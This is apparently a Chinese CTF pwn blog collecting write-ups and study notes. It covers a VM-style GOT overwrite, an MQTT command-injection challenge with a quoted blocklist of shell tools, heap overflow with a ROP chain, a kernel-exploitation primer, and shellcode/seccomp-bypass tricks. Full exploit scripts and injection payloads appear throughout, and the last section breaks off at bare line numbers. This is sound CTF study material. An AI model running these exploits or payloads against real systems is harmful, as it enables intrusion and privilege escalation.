ida打开程序,总览main函数,交互包括读取name,opcode,data,并进入一个类似于操作opcode与data的解析函数,根据返回值去调用输出name与输出data的函数。这个题目存在一个比较关键的结构,其管理了一个模拟的栈,其对应的成员如图:。题目中有些关键的栈操作函数如果不在ida中转化变量为结构体还是很难逆的。这里实现了栈的push功能。关键逻辑还是在解析函数中,对于存储opcode的栈依次弹栈并switch_case判断opecode跳到不同操作函数中(已经算是非常直接的解析逻辑了。

这里关注两个函数:push_align与write_align

  • push_align会pop work_arena栈顶值作为相对当前栈顶的偏移push对应位置的8字节内容
  • write_align会分别pop write_content与align作为写入地址以及相对当前栈顶的偏移

观察程序发现三个栈都处于堆中,其实不难发现我具有堆空间内的任意地址读写。初步想法是寻找堆区域的libc地址,对地址做操作打__free_hook(当时忘记是libc3.35了。。)。然而因为执行解析操作时堆结构并没有free的unsorted_bin,堆空间也就没有libc地址可以用了。再次观察堆空间有的堆块:除了三个栈本体与存name的chunk,还有三个my_stack管理结构。而对于栈的实体的定位取决于第一个字长数据,将work_area栈管理结构中指针改到pei中地址,相当于实现了ELF文件的任意读写。不难想到直接劫持got表是最直接的方法,刚好后续会puts一个我们控制指向内容的name指针。直接name为/bin/sh即可!

补充:注意题目的交互方式,opcode逐字节进行了特定处理,data对输入数字进行字节转换,并以空格分隔每个数字

Exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from struct import pack, unpack
context.terminal = ['gdb', '-p']
context.log_level='debug'
context.arch = 'amd64'
# p=process('./pwn')

p=remote('nc1.ctfplus.cn',40894)
libc=ELF('./libc.so.6')
print(hex(libc.sym['system']-libc.sym['puts']))
#虚拟逻辑:opcode前后4字交换 Data存数字对应字节码

'''opcode:
0x45 弹data到操作区
0x65 弹操作区到data
0xC5 加
0x21 减
0x23 除
0x14 乘
0x25 按照栈顶索引改写数据
0x46 按照栈顶索引读数据到操作区栈顶
'''

'''
思路:
构造opcode:先写操作栈指针为bss位置,任意读数据读取puts_got值,将data_push到操作栈上,进行运算实现system,写到puts_got位置,最后puts(name)实现getshell
'''
puts_got=0x405020
align_got=0x300e0
# align_bss=
bss=puts_got+0x400
# gdb.attach(p)
# pause()
p.sendlineafter('name :)\n','/bin/sh\x00')
p.sendlineafter('OPCODE :)\n',b'\x45\x45\x25\x45\x45\x46\x21\x45\x25')
p.sendlineafter('DATA :)\n',str(bss).encode()+b' -3 '+str(align_got).encode()+b' -128 -127')
p.interactive()

ldz师傅分享了一道有趣的题目,在做题过程中本人收获颇丰,接触到了许多新的知识点,记录一下做题(学习过程)

前置知识学习

在做题中接触的新知识较多,理解这些知识是搞懂题目逻辑的关键点,这里在篇首回顾一遍流程中学习的内容

go语言的逆向

go语言生成的可执行程序一打开有点想c语言静态编译的样子,程序入口为main_main这里注意一般来说,main_任意名字代表这个函数/变量是程序自定义的,而形如runtime_writeBarrier()类似的函数代表是go中runtime库对应的函数,另外题目中出现的github_com_eclipse_paho_2emqtt_2egolang__ptr_ClientOptions_AddBroker()这样的函数也是外部包导入的函数。

go的字符串与c++有很大区别,是二进制安全的,它不以\0作为终止符,一个字符串对象在内存中分为两部分,一部分为如下结构,占两个机器字用于索引数据:

1
2
3
4
5
6
7
8

type StringHeader struct {

Data uintptr // 字符串首地址

Len int // 字符串长度

}

而它的另一部分才存放真正的数据,它的大小由字符串长度决定,在逆向中重点关注的是如上结构,因此说一个string占两个机器字,其他结构也按这种约定。

go语言一大特性就是用户层面实现的协程(Goroutine),本质是轻量化的线程,能够轻松实现高并发,利用go函数启动一个Goroutine独立与主线程异步运行。对于协程的调度模型有非常多的内容,与本体无直接关联,具体实现可以参考:https://www.zhihu.com/question/20862617

MQTT协议

MQTT(Message Queuing Telemetry Transport)是一种轻量级、基于发布-订阅模式的消息传输协议,适用于资源受限的设备和低带宽、高延迟或不稳定的网络环境。它在物联网应用中广受欢迎,能够实现传感器、执行器和其它设备之间的高效通信。

MQTT Broker

MQTT Broker 是负责处理客户端请求的关键组件,包括建立连接、断开连接、订阅和取消订阅等操作,同时还负责消息的转发。通常题目中会连接一个mqtt的brocker,绑定到一个开启mqtt服务的端口上,同时对于返回的ClientOptions进行连接函数绑定,消息处理函数绑定,新建一个mqtt客户端。

MQTT Client

任何运行 MQTT 客户端库的应用或设备都是 MQTT 客户端。例如,使用 MQTT 的即时通讯应用是客户端,使用 MQTT 上报数据的各种传感器是客户端,各种 MQTT 测试工具也是客户端。

MQTT 的工作流程:

  1. 客户端使用 TCP/IP 协议与 Broker 建立连接,可以选择使用 TLS/SSL 加密来实现安全通信。客户端提供认证信息,并指定会话类型(Clean Session 或 Persistent Session)。
  2. 客户端既可以向特定主题发布消息,也可以订阅主题以接收消息。当客户端发布消息时,它会将消息发送给 MQTT Broker;而当客户端订阅消息时,它会接收与订阅主题相关的消息。**同时注意在用户端可以将特定主题绑定特定的massage_handler函数,实现接收到主题消息回调。**一个客户端也可以绑定一个连接函数,代表连接上brocker执行的动作,一般为subscribe一些主题
  3. MQTT Broker 接收发布的消息,并将这些消息转发给订阅了对应主题的客户端。它根据 QoS 等级确保消息可靠传递,并根据会话类型为断开连接的客户端存储消息。

题目

终于到题目了,这个题目其实就是利用go中的github_com_eclipse_paho_2emqtt_2egolang外部库连接到本地的brocker,创建了客户端,同时绑定了连接函数自动subscribe CTF主题,消息回调函数message_handler(具有命令执行漏洞)。并创建一个Goroutine每隔一段时间在CTF/send主题下publihs一个泄露ping码的信息。注意对于这种题目的pwn方法是:我们需要自己写一个MQTT Client,通过利用这个有漏洞的MQTT Client从而getflag。

思路还是比较清晰的:创建题目中对应broker服务器的连接,根据题目subscribe的主题publish相应内容的信息从而触发有漏洞消息回调函数getflag。

题目文件中对于mqtt client的初始化:

注意这里直接在**ClientOptions**结构体中声明massage_handler代表该客户端只要收到自己subscribe的主题publish的消息就会触发

massage_handler函数中逻辑比较简单:解析json消息格式,提取auth,cmd,arg字段。先检查auth内容是否长度为6且等于特定加密算法后的pin值前6位,然后判断cmd中字段是否等于get_version或者set_vin:get_version打开/mnt/version文件输出内容;set_vin将arg内容拼接到echo -n %s > /mnt/VIN中。注意这里对于参数进行了比较严苛的子字符串检测常用的显示函数如cat,tail以及flag都被ban了。这里用‘’阶段一下cat以及flag,同时利用;注入命令,就能把flag内容带出来了。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import random
import time
import json
from paho.mqtt import client as mqtt_client


broker = '127.0.0.1'
port = 9999
# Generate a Client ID with the publish prefix.
client_id = f'publish-{random.randint(0, 1000)}'
username = 'admin'
password = 'public'
main_lookup=[]
received_pin=None
for i in range(256):
main_lookup.append ((37 * i + 13)&0xff)
def initialize_connect():
def on_connect(client, userdata, flags, reasonCode, properties=None):
client.subscribe("CTF")
client.subscribe("CTF/send")
print(f"Connection created with topics subscribed")
def on_message(client, userdata, msg):
message=msg.payload
print(message)
data = json.loads(msg.payload.decode())
received_pin = data["pin"]

#接下来进行与mqtt服务端连接的初始化
client = mqtt_client.Client(mqtt_client.CallbackAPIVersion.VERSION2, client_id)
client.on_connect = on_connect
client.on_message = on_message#绑定连接的回调函数
client.connect(broker, port, keepalive=10000)#连接服务器
return client



def decrpyt(buf):
ans=[]
for i in range(6):
tmp1=main_lookup[ord(buf[i])]
out_byte=tmp1 - 95*((345*tmp1)>>15) + 32
ans.append(chr(out_byte))
print(ans)
return ''.join(ans)

def send_message(auth:str, cho_cmd:int, arg:str):
if cho_cmd == 1:
cmd = "get_version"
else :cmd = "set_vin"

message = {
"auth": auth,
"cmd": cmd,
"arg": arg
}

return message


#禁用列表:cat more head tail string awk sed cut xxd hexdump cmp diff base64 | & $( 0x60 > < >> << || && sh bash exec nc socat teknet ftp ... flag /dev .. gzip tar :method: :path :scheme :status accept-charset accept-encoding accept-language accept-range accept "access-control-allow-origin age

def run():
client = initialize_connect()
client.loop_start()
client.publish("CTF/send", 0,b'a')#泄露ping值
time.sleep(1)
#这里用publish CTF/send泄露pin值
mes = send_message(decrpyt(received_pin),0,';c\'\'at fl\'\'ag ;')#从print内容中可以看到flag内容
client.publish("CTF", json.dumps(mes))
time.sleep(1)
time.sleep(10)
client.loop_stop()
client.disconnect()

if __name__ == '__main__':
run()

跟着共享文档中师傅写的wp复现了一遍nipple(这是整个比赛中我唯一有能力复现的题目

题目乍看是一道比较经典的菜单题截屏2025-11-03 14.45.50

然而初步逆向时却发现还是挺复杂的,特别是一些输出以及读入逻辑:简单来说对于某些特定的内容程序会用一个自定义函数存入动态内存中,然而对于读取也进行了一系列的操作:就对于我数据的存取而言,他会申请(原始大小*2+2)字节的chunk并将原始data中每个字节的低4位作为单独一字节的低4位同时保留原先动态内存中该字节高4位的值,高4位作为下一个字节的第四位的值保留原先高四位

这里举一个例子:

截屏2025-11-03 14.55.52

经过函数加工存储为:

堆块中存储信息也是这个形式,特别注意在4.Repack功能中,对于堆块的修改也是遵循上述的规定进行写入。

这个读写逻辑的静态逆向比较难,个人感觉在要做题中需要多进行动态调试,通过动调并选择正确的关注点往往能够更快的弄懂程序的逻辑

程序中还有许多第一次接触到的新知识:这里在菜单循环前new了一个0x1000大小的堆块,并将栈变量指向它。这是一个预分配的内存池,栈上存在0x10的变量分别存其基址以及游标(代表内存池的使用情况)。其实内存池与我之前接触的大部分堆题中的bss段存堆信息的作用是一样的。将这些信息存在动态内存中更加灵活,实现可拓展性。当然,如果我们能够通过构造堆overlapping或者堆溢出能控制这个内存池中的数据那么就达成了任意地址读写了。这里的内存池存在extend函数,总体逻辑就是如果游标以及到堆块的尾部的话就申请2倍自己大小复制原先内容然后free掉自己。这也一定程度上允许我们控制对应堆块的相对位置(本题没有用到)。

关注new功能:发现首先new的chunk没有正确初始化堆块数据便利用parse函数到新chunk中,从而造成libc与heap泄露。

再关注repack功能,发现读取长度可以自己选定一个不大于于chunk的size的值进行读入,这样输入大size加少数据,就能把栈中数据带出来。同时因为将数据parse进堆时同样逻辑,会造成堆溢出,通过repack在内存池地址旁的chunk溢出修改堆指针就能实现泄露cannary。getline可以实现栈溢出,修复指针(函数结尾会根据其free资源)打ROP即可。

由于读入getline存在\x00截断所以无法直接泄露存储在chunk中的堆数据,一开始通过堆溢出想去覆盖对应chunk的0x18位置,但是因为getline输入仍然存在\x00截断,有点蠢。。。。

同时对于修改指针存在各种限制:首先写入的数据覆盖只能覆盖每个字节的低4位,因此直接覆盖到存在cannry_chunk+0x19的位置行不通(高4位不同),通过该低4位为1刚好能够错开cnnary中\x00字节让它分散到两个字节中,也就没有\x00了能够正常带出来cannary。输出逻辑的判断是对于每两字节判断是否同时为0作为输出结束标识。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
context.terminal = ['gdb','-p', '16296']
context.log_level='debug'
context.arch = 'amd64'
p=process('./attachment')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def cmd(i, prompt=b'Choice: '):
p.sendlineafter(prompt, str(i).encode())

def add(length):
cmd('1')
p.sendlineafter("Length (bytes, 0..0xf000): ", str(length).encode())

def show(idx):
cmd('2')
p.sendlineafter("Index: ", str(idx).encode())

def edit(idx,length,content):
cmd('4')
p.sendlineafter("Index: ", str(idx).encode())
p.sendlineafter("Length (bytes, 0..0xf000): ", str(length).encode())
p.sendafter("Data: ", content)

def staylower(data):
if data == 0:
return b'' # 或者返回 b'\x00' 如果你需要处理0

ret = b''
iterator = []

# 提取低4位
temp = data
while temp != 0:
iterator.append(temp & 0xf)
temp >>= 8

# 组合字节
for i in range(len(iterator) // 2):
a = iterator[2 * i]
b = iterator[2 * i + 1]
result = (a << 4) + b
ret += bytes([result])

return ret

def debug():
gdb.attach(p)
pause()
add(0x3b) #改堆块存cannary
#泄露libc与heap地址
add(0xf000)
# pause()
add(0xf000)
show(2)
leak_libc=u64(p.recv(6).ljust(8,b'\x00'))
libc.address=leak_libc-0x203b20
log.success(hex(libc.address))
pop_rdi=libc.address+0x10f75b
ret=libc.address+0x2a875
# debug()
add(0x23)#改堆块在内存池之前,用来溢出覆盖堆块指针
show(3)
leak_heap=u64(p.recv(5).ljust(8,b'\x00'))
target=(leak_heap<<12)+0x601
log.success(hex(target))

#leak cnnary
edit(0,0x20,b'a'*(0x18)+b'\n\n')
# debug()
#改指针➕泄露
edit(3,0x3c,b'a'*(0x24)+staylower(0x1011)+b'\x00\x00\x00'+staylower(target)+b'\n\n')
debug()
show(0)
p.recv(0x17)
out_put=p.recv(9).hex().lstrip('0x')[1:-1]
cannary=u64(bytes.fromhex(out_put))
log.success(out_put)
log.success(hex(cannary))
#修复指针
edit(3,0x3c,b'a'*(0x24)+staylower(0x1011)+b'\x00\x00\x00'+staylower(target-1)+b'\n\n')
# debug()
#栈溢出ROP
edit(1,0x78,cyclic(0x18)+p64(cannary)+cyclic(0x38)+p64(pop_rdi)+p64(next(libc.search('/bin/sh')))+p64(ret)+p64(libc.sym['system'])+b'\n\n')
#触发ret
cmd('\0')

p.interactive()


总结收获

总的来说题目的利用手法并不是很难,堆溢出泄露数据➕栈溢出。但是题目的逆向量相对较大,对于堆的开辟以及释放过程比较绕,数据写入读取逻辑需要细心逆向。对于ida一打开感觉很难从头逆到尾的程序可以先gdb动态调试一下,关注堆块以及数据的变化再结合静态逆向食用效果更佳!

开始步入linux内核的学习。打算实践为主导,先自己搭一个内核调试的环境,并在过程中学习遇到的相关知识

内核态与用户态的分割

  • 安全性的考虑:用户态中恶意程序无法执行特权指令,破坏系统。其中内核态空间用户态应用无权访问。
  • 稳定性的保障:用户态中程序发生错误并不会导致内核的运作发生错误而影响整个系统的稳定性
  • 抽象化硬件调度操作:内核为用户态实现统一的设备访问接口(系统调用),用户程序无需关注不同设备的交互细节

在用户态程序中,通常利用read等系统调用后就能实现对应的写内存等操作,其中的实现细节便是在内核态中完成的。

编译运行一个linux内核

网上很多相关的步骤,算是步入内核大门的第一步。这里详细记录一下本人通过这个实践的收获:

忽略内核模块签名验证

Linux内核从3.7版本开始引入了模块签名验证机制。开启后,内核在加载模块时会使用内置的公钥对模块的签名进行校验,以确保模块的完整性和来源可信。这对于安全至关重要,但在开发和编译阶段,它可能会带来不便,因为默认情况下,内核会尝试使用自己编译过程中生成的一套密钥来签名模块。

因为后面会利用该内核编译一些自己写的内核模块,所以在编译之前需要禁用相应选项。

内核镜像与磁盘镜像

在实验中我分别下载linux内核文件以及busybox分别编译,最终获得下述两个文件:bzImagerootfs.img

bzImage

  • bzImage 的意思是 “big zImage”,是经过压缩的Linux内核二进制文件
  • 它包含了Linux内核的所有代码:进程调度、内存管理、设备驱动、文件系统支持、网络协议栈等

rootfs.img

  • 一个包含了完整Linux系统目录结构必要文件的磁盘映像。
  • 由BusyBox等工具制作,包含了Shell、核心工具(ls, cp, mkdir等)、库文件、配置文件和初始化脚本

启动流程

+———————————+
BIOS/UEFI ← 硬件启动
+———————————+

+———————————+
Bootloader (GRUB) ← 加载 bzImage 到内存
+———————————+

+———————————+
Linux Kernel (bzImage) ← 解压、初始化硬件、驱动
+———————————+
↓ (通过内核参数指定 rootfs)
+———————————+
挂载根文件系统 (rootfs.img) ← 从磁盘/内存/网络找到 rootfs
+———————————+

+———————————+
执行 /init 或 /sbin/init ← 第一个用户空间进程 (PID 1)
+———————————+

+———————————+
Shell 或系统服务 ← 完整的用户空间环境
+———————————+

挂载:一开始的内核只有临时的目录结构,真正健全的目录系统rootfs.img还在磁盘上,挂载能够将存储设备上的文件系统关联到目录树的某个位置,使得内核可以通过文件路径访问存储设备的内容,内核系统能够正常启动离不开若干次成功的挂载。

编译一个简单内核模块

Linux Kernel 采用的是宏内核架构,一切的系统服务都需要由内核来提供,虽然效率较高,但是缺乏可扩展性与可维护性,同时内核需要装载很多可能用到的服务,但这些服务最终可能未必会用到,还会占据大量内存空间,同时新服务的提供往往意味着要重新编译整个内核。——>,可装载内核模块(Loadable Kernel Modules)应运而生, LKMs 可以像积木一样被装载入内核 / 从内核中卸载,大大提高了 kernel 的可拓展性与可维护性。

常见的 LKMs 包括:

  • 驱动程序(Device drivers)
    • 设备驱动
    • 文件系统驱动
    • 各种驱动…
  • 内核扩展模块 (modules)

内核模块的文件后缀是.ko

一般用c实现内核模块的编写,通过同目录下的Kbuild文件以及Makefile实现编译操作。便可以在系统中使用insmod载入模块,rfmod卸载模块。

当在内核模块能够控制到函数的rip(程序执行流),就能够通过某些方法实现提权一般来说躲不开两个函数:commit_creds_kfunc(prepare_kernel_cred_kfunc(0))这两个函数配合的效果会将当前进程变成0环,从而实现提取。同时要注意内核态要正确过渡到用户态我们才能自由利用提权成果

注意内核模块的逻辑运行环境是内核态,这其中有许多机制与用户态不同,这也是后续我需要学习的内容。

内核模块与用户交互机制

用户与内核模块程序交互相对于用户态程序较为麻烦,存在多种方式:

  • /proc ,/sys文件系统
  • ioctl 命令
  • netlink 套接字
  • 注册系统调用/中断

与破解内核模块的第一步就是搞清楚它实现的与用户交互的机制从而正确测试各项功能,这里有篇文章详细地解释并实现了各种交互方式:https://www.cnblogs.com/adam-ma/p/18084237

file_operations结构体

1
2
3
4
5
6
7
8
9
static struct file_operations my_device_fops = {
.owner = THIS_MODULE, //指向拥有者
.open = my_device_open, //处理打开操作
.release = my_device_release, //处理close操作
.read = my_device_read, // 处理读取操作
.write = my_device_write, // 处理写入操作
.unlocked_ioctl = my_device_ioctl,// 处理控制命令
.llseek = my_device_llseek, // 处理文件定位
}; //这里只展示了常见的操作

cdev - 字符设备对象

代表内核中的一个字符设备实例

1
2
3
4
5
6
7
8
struct cdev {
struct kobject kobj; // 内嵌的kobject,用于设备模型
struct module *owner; // 指向拥有此设备的模块
const struct file_operations *ops; // 文件操作函数集
struct list_head list; // 连接到cdev_map的链表
dev_t dev; // 设备号(主设备号 + 次设备号)
unsigned int count; // 设备数量(次设备号范围)
};

字符串设备init常见流程

1
2
3
4
5
6
7
dev_t devno = MKDEV(DEVICE_MAJOR, DEVICE_MINOR);   //构造设备号
register_chrdev_region(devno, 1, DEVICE_NAME); //向内核“登记”设备号区间
cdev_init(&my_device_cdev, &my_device_fops); //初始化字符设备对象,并赋予文件操作指针
my_device_cdev.owner = THIS_MODULE; //指定模块所有者
cdev_add(&my_device_cdev, devno, 1); //把字符设备正式放进内核
char_class = class_create(THIS_MODULE, CLASS_NAME); //创建设备类
char_device = device_create(char_class, NULL, devno, NULL, DEVICE_NAME); //创建设备文件

对于dev/DEVICE_NAME文件的操作会映射成内核模块的操作

如何pwn?

一般来说题目会给一个bzImage对应编译好的内核镜像,roofts.img对应着文件系统的镜像,并给一个启动脚本,利用启动脚本能够qemu启动内核,在启动脚本中加入-g方便gdb调试。exp的形式一般是用c语言编译成elf文件,在题目给定的内核环境中与有漏洞的ko内核模块进行交互实现提权的操作。

本地打法:

构造sh文件编译exp并整合到rootfs.img文件镜像中,shell脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 编译 exploit
echo "[*] Compiling exploit..."
gcc exp.c -static -masm=intel -g -o exploit || {
echo "[-] Compilation failed!"
exit 1
}
# 打包文件系统
echo "[*] Creating rootfs.cpio..."
sudo bash -c "find . | cpio -o --format=newc > ../rootfs.cpio" || {
echo "[-] Failed to create cpio archive!"
exit 1
}
# 返回上级目录
cd ..
# 启动内核
echo "[*] Launching kernel..."
sudo ./start.sh

远程打法:

将攻击程序传输到远程中并运行,这时会出现攻击可执行文件过大的问题(因为是静态编译),比较通用的解决方法是将 exploit 进行 base64 编码后传输。python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import base64
#context.log_level = "debug"

with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())

p = remote("127.0.0.1", 11451) #连接远程地址
#p = process('./run.sh')
try_count = 1
while True:
p.sendline()
p.recvuntil("/ $")

count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))

for i in range(count):
p.recvuntil("/ $")

p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break

p.interactive()

常见保护机制

KASLR 保护

KASLR(Kernel Address Space Layout Randomization)是一种用于保护操作系统内核的安全技术。它通过在系统启动时随机化内核地址空间的布局来防止攻击者确定内核中的精确地址

值得注意的是随机方式是通过函数基地址 +随机值=内存运行地址方式来随机化

本质上与用户态的aslr绕过思路相近,通过泄露地址活的基址

这里贴出实现的原理:

  1. 引导阶段

    • 引导加载程序在将内核镜像加载到内存时,会选择一个随机的物理地址偏移。
    • 这个偏移量通常被称为“KASLR偏移”。
  2. 内核重定位

    • 内核启动早期,在建立页表之前,会应用这个随机偏移。
    • 内核需要具备位置无关可重定位的能力,能够正确处理自身地址的变动。这意味着内核在编译时需要使用-fPIC等选项,并且内部的重定位表需要被正确处理。
    • 最终,内核的虚拟地址(在x86_64上,通常是0xffffffff80000000开始的-2GB空间)也会被加上这个随机偏移。

    这里的重定位表和PE/ELF文件中的并无差别!

SMEP&SMAP保护

通过在CR4寄存器中定位其中两个bit位,代表内核是否开启保护

  • SMEP:控制内核态不能执行用户态的shellcode
  • SMAP:控制用户态空间的指针不能被内核态解引用,即不能访问内核空间中的敏感信息

CR4控制了CPU的工作模式和安全特性,内核统一管理所有CPU的CR4(策略保持一致)

KPTI保护

kernel page-table isolation(内核页表隔离),通过完全分离用户空间与内核空间页表来解决页表泄露。

一旦开启了 KPTI,由于内核态和用户态的页表不同,所以如果使用 ret2user或内核执行 ROP返回用户态时,由于内核态无法确定用户态的页表,就会报出一个段错误。

本帖将持续记录Linux下shellcode的一些编写技巧,包括长度的优化,特定限制的绕过,shellcode的绕过

鉴于本人汇编基础较弱,目前在持续学习中,如有不正确或含糊的表述,欢迎联系我与我讨论!

Shellcode的编写在二进制安全中是不可避免的,当回归到汇编这种较为底层的语言去实现一些特定功能时,我们往往会发现不只有一种方法能够实现我们的目的。这里我就拿64位中实现 read(0,0x404000,0x50)来举例子:

1.最直接的传值syscall

1
2
3
4
5
6
7
8
9
section .text
global _start

_start:
mov rax, 0 ; sys_read 系统调用号
mov rdi, 0 ; fd = 0 (stdin)
mov rsi, 0x404000 ; buf = 0x404000
mov rdx, 0x50 ; count = 0x50
syscall

2.利用栈传值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
section .text
global _start

_start:
push 0x50 ; count
push 0x404000 ; buf
push 0 ; fd

pop rdi ; fd
pop rsi ; buf
pop rdx ; count

mov rax, 0 ; sys_read
syscall

3.切换到32位操作模式,用中断门调用read操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
section .text
global _start

[bits 64]
_start:
; 直接使用远返回到32位模式
push 0x2b ; 32位CS
push code32 ; 32位EIP
retfq ; 远返回

[bits 32]
code32:
; 手动设置32位栈
mov esp, 0x7fffe000

; 32位系统调用
mov eax, 3 ; sys_read
mov ebx, 0 ; stdin
mov ecx, 0x404000 ; buffer
mov edx, 0x50 ; size
int 0x80

mov eax, 1 ; sys_exit
mov ebx, 0
int 0x80

可以看到汇编的灵活性是非常大的,当然在实战中对于shellcode的编写往往存在着各种各样的限制,比如长度有限,shellcode分割,沙箱保护,特定字符检测等等。通过汇编的灵活性,在某些情况下能够绕过重重难关从而达到我们的目的。

优化shellcode的长度

列一下常见的64位指令长度

栈的操作
  • pop/push reg 1字节
  • push imm 1+立即数的字节数(1/2/4)
赋值/计算操作
  • Inc/dec reg 字节
  • mov/add reg64,reg64 2字节
  • mov/add reg, [reg] 3字节
  • mov/add reg, imm32 5字节
  • mov/add reg64, imm32 7字节
  • mov/add reg64, imm64 10字节
程序流
  • ret 1字节
  • syscall 2字节
  • jmp等跳转 short 2字节
  • jmp/call rel32 5字节

经过对比栈操作与赋值的指令,发现当使用 push imm + pop reg 替代 `mov reg, imm会使汇编更加精简。同时在jmp到shellcode前的上下文也是我们需要观察的,对于栈,寄存器上的数据没准我们就能利用上来减少shellcode的长度。

Xctf-Nctf only

题目给了0xa大小的shellcode执行,shellcode用mmap分配,寄存器在执行shellcode前清0。这里考虑用栈上数据,我一开始想跳到读取shellcode的read处,通过修改rdx为一个很大的值来达成任意长度的shellcode写。base_shellcode=asm(''' pop rdx ;操作返回地址来修改跳转位置 mov rax,[rbp-0x10] ;确保read的buf为shellcode地址 sub dl,0x18 jmp rdx ''')

(因为read的长度太大,与rdi相加后超过0x7fffffff的用户空间会报错)远程没通。wing师傅的shellcode相比之下更加巧妙:

1
2
3
4
5
6
7
8
asm("""
call pop ;将rip放到栈上
pop:
pop rsi ;buf
mov dl, 0x68 ;len
syscall ;rax,rdi已经置0,实现read(0,rip,0x68)
tag:
""")

shellcode分块

有些情景下我们不具备写入连续内容的能力,那么需要将我们写入的shellcode拼凑到一起从而形成一段完整的执行链。这里需要用到相对跳转,也就是jmp $+0x8:这段汇编的意思为跳转到当前eip+0x8的地址上去执行,其汇编拆解便是EB 08

  • EB: 短跳转操作码
  • 08: 相对偏移量(从下条指令开始计算)

在知道对应内存块的相对位移的情况下(通常来说只要位于同一内存段偏移一般固定)在每个内存块尾部加上这么一条相对跳转指令即可

题目试例:

西电mini的checkin题

题目的大致执行流程是向三块堆空间中分别读取0x18数据,然后将堆空间变成可执行的,并跳到第一个堆块空间,题目开了沙箱ban掉execve系统调用。

非常直球的题目,要在三段堆空间构造orw的shellcode。动调查看三个堆块之间的相对偏移(这个是固定的),在每一段shellcode末尾加上jmp $x即可

poc脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.terminal = ['gdb','-p', '16296']
context.log_level='debug'
context.arch = 'amd64'
sc_open=asm('''
mov rax, 0x67616c662f
push rax /* '/flag' */
mov rdi,rsp
xor rsi, rsi
xor rdx, rdx
push 2
''')
print(hex(len(sc_open)))
sc_read=asm('''
/* read(fd, stack, 0x100) */
pop rax
syscall
mov rdi, rax /* 返回的fd 3*/
mov rsi, rsp /* 读取到栈上 3*/
push 0x50
pop rdx /*读取0x50字节 1*/
xor rax, rax /* SYS_read = 0 占3字节*/
syscall

''')
print(hex(len(sc_read)))
sc_write=asm('''
/* write(1, stack, rax) */
mov rdi, 1 /* stdout = 1 */
mov rax, 1 /* SYS_write = 1 */
syscall
''')
print(hex(len(sc_write)))
# p=process('./checkin')
p=remote('10.21.162.149',55771)
p.recvuntil("signin~\n")
p.send(sc_open.ljust(0x16,b'\x90')+asm('jmp $+0xa'))
p.send(sc_read.ljust(0x16,b'\x90')+asm('jmp $+0xa'))
# gdb.attach(p)
# pause()
p.send(sc_write.ljust(0x18,b'\x90'))
p.recvuntil("Gashat!\n\n")
flag=p.recvline()
print(flag)
p.interactive()

绕过特定字符的检查

有些情况下,题目会对于你输入的shellcode进行某些检查,我们需要调整我们的shellcode进行检测绕过。

  • 有些题目会先strlen(inputshellcode)得到shellcode长度,再根据长度进行检测。在这种情况下我们在shellcode开头构造存在\x00的汇编(前提是读取shellcode时没有\x00截断),这样检测实际上检测的内容是\x00前面的内容。而后面的shellcode就可以自由发挥啦

例子待补充

突破沙箱的限制

在题目中遇到沙箱ban掉一些特定的系统调用的情况在ctf中屡见不鲜,沙箱的规则制定相对自由,不同题目可以不同组合ban,记录一下目前接触到的突破沙箱构造法

等价函数替换

一系列可能用到的等价替换函数:

  • 使用 execveat 代替 execve

  • 使用 openat 代替 open

  • 使用 readv/writev 代替 read/write

  • 使用 mmap2 代替 mmap

  • orw中,使用 sendfile,代替 read/write

切换指令模式绕过黑名单

当seccomp-tool工具发现沙箱中没有判断指令模式并且采取的是黑名单ban的模式,那么我们可以通过长返回retf的方式来实现架构切换。因为32位与64位同一个系统调用的调用号是不同的。

注意构造retf的栈布局:64——>32位shellcode模版

1
2
3
4
5
6
7
xor esp, esp
mov rsp, 0x400100
mov eax, 0x23 ; cs
mov [rsp+4], eax
mov eax, 0x400800 ; ip
mov [rsp], eax
retf

纯ascii码shellcode

这部分我还没碰到到过,这里有篇还没啃的blog:https://nets.ec/Ascii_shellcode

这部分感觉技巧性很强,多用xor,inc,dec等精细到字的操作,对于shellcode水平要求很高,我如果真遇到应该也是试试工具了(雾

在面试中被问到unsortedbin attack的写入值的意义,知道是main_areana+88的位置,但是具体的意义以及利用方式却没有深究过。记录一下对于两个堆管理结构的学习笔记:main_arena以及tcache_perthread_struct的结构学习

Main_arena

全局一个,位于glibc模块的内存附近,用于管理进程中主堆(用sbrk分配),是arena环形链表的头节点。arena环形链表的非头节点为thread arena,通过mmap分配。

libc中对于main_rena的定义

这里用的是2.35的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
